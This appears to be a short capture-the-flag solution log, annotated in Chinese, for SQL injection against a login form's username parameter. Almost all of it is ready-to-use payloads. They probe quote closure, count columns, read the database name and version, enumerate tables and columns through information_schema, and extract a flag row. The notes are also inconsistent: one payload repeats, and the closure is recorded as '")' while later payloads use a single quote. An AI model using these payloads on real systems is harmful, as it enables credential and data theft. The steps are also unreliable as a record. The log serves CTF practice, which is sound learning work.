uname='&passwd=a&submit=Submit
错误回显 => 存在注入
uname=1 or 1=1 #&passwd=a&submit=Submit
正确回显
uname=1" or 1=1 #&passwd=a&submit=Submit
错误回显 => 字符型
uname=1" or 1=1 #&passwd=a&submit=Submit
错误回显
uname=1") or 1=1#&passwd=a&submit=Submit
登录回显 => 闭合成功
uname=' or 1=1 order by 2#&passwd=a&submit=Submit
正确回显
uname=' or 1=1 order by 3#&passwd=a&submit=Submit
错误回显 => 有2列
uname='union select 1,2#&passwd=a&submit=Submit
uname='union select database(),version()#&passwd=a&submit=Submit
uname='union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=a&submit=Submit
uname='union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="DPXE2rot" #&passwd=a&submit=Submit
uname='union select 1,flag from DPXE2rot limit 3,1 #&passwd=a&submit=Submit